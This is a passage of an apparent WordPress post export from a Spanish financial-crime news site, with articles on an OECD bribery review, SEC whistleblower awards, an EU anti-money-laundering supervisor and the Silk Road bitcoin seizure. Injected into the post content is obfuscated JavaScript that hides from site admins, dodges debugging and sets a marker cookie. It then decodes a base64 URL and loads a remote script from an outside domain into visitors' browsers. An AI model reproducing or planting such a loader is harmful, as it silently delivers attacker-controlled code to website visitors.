key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 